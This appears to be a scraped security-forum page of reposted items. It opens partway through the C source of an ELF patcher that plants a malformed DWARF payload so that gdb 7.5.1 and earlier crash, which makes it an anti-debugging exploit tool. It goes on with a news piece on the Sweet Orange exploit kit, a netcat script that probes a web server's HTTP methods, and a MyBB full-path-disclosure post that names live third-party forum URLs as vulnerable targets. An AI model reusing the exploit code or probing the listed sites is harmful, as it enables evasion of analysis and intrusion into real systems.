-1) return 0; // Step 8 if(write(tmpfd, ".debug_line\0", strlen(".debug_line") + 1) == -1) return 0; if(write(tmpfd, ".debug_info\0", strlen(".debug_info") + 1) == -1) return 0; if(write(tmpfd, ".debug_str\0", strlen(".debug_str") + 1) == -1) return 0; if(write(tmpfd, ".debug_abbrev\0", strlen(".debug_abbrev") + 1) == -1) return 0; // Step 9 printf("[+] Injecting the malformed line header structure (payload) into the new created '.debug_line' section...\n"); if(write(tmpfd, dwarf_line_header, sizeof(dwarf_line_header)) == -1) return 0; printf("[+] Injecting the content of '.debug_info', '.debug_str' and '.debug_abbrev' sections...\n"); if(write(tmpfd, debug_info, sizeof(debug_info)) == -1) return 0; if(write(tmpfd, debug_str, sizeof(debug_str)) == -1) return 0; if(write(tmpfd, debug_abbrev, sizeof(debug_abbrev)) == -1) return 0; close(tmpfd); return 1; } int main(int argc, char **argv) { printf("##################################################\n"); printf("# #\n"); printf("# gdb (GNU debugger) <= 7.5.1 #\n"); printf("# (crash due a NULL pointer dereference) #\n"); printf("# #\n"); printf("# ELF anti-debugging/reversing patcher #\n"); printf("# -nitr0us- #\n"); printf("# #\n"); printf("##################################################\n\n"); if(argc < 2){ fprintf(stderr, "Usage: %s <elf_file_to_patch>\n", argv[0]); exit(-1); } if((fd = open(argv[1], O_RDWR)) == -1){ perror("open"); exit(-1); } if(!isELF(fd)){ close(fd); exit(-1); } if(fstat(fd, &statinfo) == -1){ perror("stat"); close(fd); exit(-1); } if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){ perror("mmap"); close(fd); exit(-1); } header = (Elf32_Ehdr *) (elfptr); if(header->e_shoff == 0){ fprintf(stderr, "[!] \"%s\" doesn't have a Section Header Table !\n", argv[1]); close(fd); munmap(elfptr, 0); exit(-1); } sht = (Elf32_Shdr *) (elfptr + header->e_shoff); printf(" [*] The ELF file originally has: %d (0x%.4x) bytes\n", (int) statinfo.st_size, (int) statinfo.st_size); printf("[-] Ehdr->e_shnum: %5d (0x%.4x)\n", header->e_shnum, header->e_shnum); printf("[-] Ehdr->e_shoff: %5d (0x%.4x)\n", header->e_shoff, header->e_shoff); printf("[-] Ehdr->e_shstrndx: %5d (0x%.4x)\n", header->e_shstrndx, header->e_shstrndx); // Find the Section Header corresponding to the // "Section Header String Table" to get the file offset from there shstrtab_section = (Elf32_Shdr *)(elfptr + header->e_shoff + header->e_shstrndx * sizeof(Elf32_Shdr)); if((shstrtab_size = shstrtab_section->sh_size) > 0) if(!(shstrtab_offset = shstrtab_section->sh_offset)){ fprintf(stderr, "[!] shstrtab_section->sh_offset is 0 (cero) !\n"); close(fd); munmap(elfptr, 0); exit(-1); } printf("[-] shstrtab_offset: %5d (0x%.4x)\n", (int) shstrtab_offset, (int) shstrtab_offset); printf("[-] shstrtab_size : %5d (0x%.4x)\n\n", (int) shstrtab_size, (int) shstrtab_size); printf(" [*] Looking for the '.debug_line' section...\n\n"); if(!(debug_line_offset = findDebugLineSection())){ printf("[-] '.debug_line' section was not found in the Section Header Table !\n"); printf(" [*] Adding the '.debug_line' with the payload inside\n\n"); if(!addDebugLineSection()){ fprintf(stderr, "[!] The '.debug_line' section couldn't be added. Sorry !\n\n"); close(fd); munmap(elfptr, 0); exit(-1); } printf("[+] The '.debug_line' section was added successfully with the payload inside\n\n"); if(rename("modified_elf.tmp", argv[1]) == -1) perror("rename"); } else { printf("[+] '.debug_line' section was found at offset %5d (0x%.4x) within the file\n", (int) debug_line_offset, (int) debug_line_offset); printf(" [*] '.debug_line' size = %5d bytes\n", (int) s_debug_line_size); if(s_debug_line_size < sizeof(dwarf_line_header)){ fprintf(stderr, "[!] '.debug_line' section is smaller than the payload to be injected (%d bytes)\n\n", (int) sizeof(dwarf_line_header)); exit(-1); } else printf(" [*] '.debug_line' section has enough space for the payload (%d bytes)\n\n", (int) sizeof(dwarf_line_header)); printf(" [*] Overwriting its content with the payload\n\n"); memcpy(elfptr + debug_line_offset, dwarf_line_header, sizeof(dwarf_line_header)); } // Synchronize the ELF in file system with the previous memory mapped if(msync(elfptr, 0, MS_SYNC) == -1){ perror("msync"); close(fd); exit(-1); } close(fd); munmap(elfptr, 0); printf(" [*] \"%s\" is now completely patched\n", argv[1]); printf(" [*] gdb (GNU debugger) <= 7.5.1 should crash trying to load \"%s\"\n", argv[1]); return 0; } int isELF(int fd) { Elf32_Ehdr header; if(read(fd, &header, sizeof(header)) == -1){ perror("isELF(): read"); return 0; } /* magic number verification */ if(header.e_ident[EI_MAG0] != ELFMAG0 || header.e_ident[EI_MAG1] != 'E' || header.e_ident[EI_MAG2] != 'L' || header.e_ident[EI_MAG3] != 'F'){ fprintf(stderr, "The argument given is not an ELF file !\n"); return 0; } /* 32-bit class verification */ if(header.e_ident[EI_CLASS] != ELFCLASS32){ fprintf(stderr, "Only 32-bit ELF files supported !\n"); return 0; } /* little-endian verification */ if(header.e_ident[EI_DATA] != ELFDATA2LSB){ fprintf(stderr, "Only little-endian ELF files supported !\n"); return 0; } return 1; } Sursa: GNU Debugger 7.5.1 NULL Pointer Dereference ? Packet Storm

[h=1]New Exploit Kit “Sweet Orange” Offers Higher Infection Rates[/h]Posted by: FastFlux on December 19, 2012 The newly emerging Sweet Orange Exploit pack boasts a 10 to 25 percent infection rate and is promising to drive 150,000 unique visitors per day to the websites of its customers, according to Jeff Doty and Chris Larsen of Blue Coat Security. If the claims of Sweet Orange’s writers are telling th truth, users of the kit can look to add anywhere between 15,000 and 37,500 machines to their botnet every 24 hours. Sweet Orange has 45 dedicated IP addresses and 267 unique domains, which Doty and Larsen claim is enough to generate the promised 150,000 daily unique views. The Blue Coat investigators ran a sample of 20 of Sweet Orange’s URLs through the VirusTotal and found that just seven were detected. The IPs returned even worse results, out only 20 IP addresses, VirusTotal recognized zero. Sursa: New Exploit Kit “Sweet Orange” Offers Higher Infection Rates | ZeroSecurity

[h=2]HTTP Methods Identification[/h] This is a small script that uses netcat in order to connect to a remote web server and to discover which HTTP methods supports.You can see below the source code: #!/bin/bash for webservmethod in GET POST PUT TRACE CONNECT OPTIONS PROPFIND; do printf "$webservmethod " ; printf "$webservmethod / HTTP/1.1\nHost: $1\n\n" | nc -q 1 $1 80 | grep "HTTP/1.1" done Source Code In the next image you can see the script in use: Demonstration Sursa: HTTP Methods Identification

[h=2]MyBB 1.6.9 full path disclosure[/h] MyBB has released its update on 15th December. MyBB 1.6.9 is still affected with full path disclosure vulnerablity author : cyb3rboy website: freemium-devils.in code104.net greetz cyberace, ketan , shubham , S3v3n , th3 d3stroyer , amol the following path was found vulnerable to full path disclosure /inc/3rdparty/diff/Diff/Engine/xdiff.php /inc/3rdparty/diff/Diff/Engine/native.php /inc/3rdparty/diff/Diff/ThreeWay.php /inc/3rdparty/diff/Diff/Renderer.php /inc/3rdparty/diff/Diff/Mapped.php http://netsoccer.eu/forum/inc/3rdparty/diff/Diff/Engine/xdiff.php http://netsoccer.eu/forum/inc/3rdparty/diff/Diff/Engine/native.php http://netsoccer.eu/forum//inc/3rdparty/diff/Diff/ThreeWay.php http://netsoccer.eu/forum/inc/3rdparty/diff/Diff/Renderer.php http://netsoccer.eu/forum/inc/3rdparty/diff/Diff/Mapped.php http://shark007.net/forum/inc/3rdparty/diff/Diff/ThreeWay.php http://shark007.net/forum//inc/3rdparty/diff/Diff/Mapped.php http://www.mybbgm.com/inc/3rdparty/diff/Diff/Mapped.php http://www.mybbgm.com/inc/3rdparty/diff/Diff/ThreeWay.php # 1337day.com [2012-12-20] Sursa: 1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team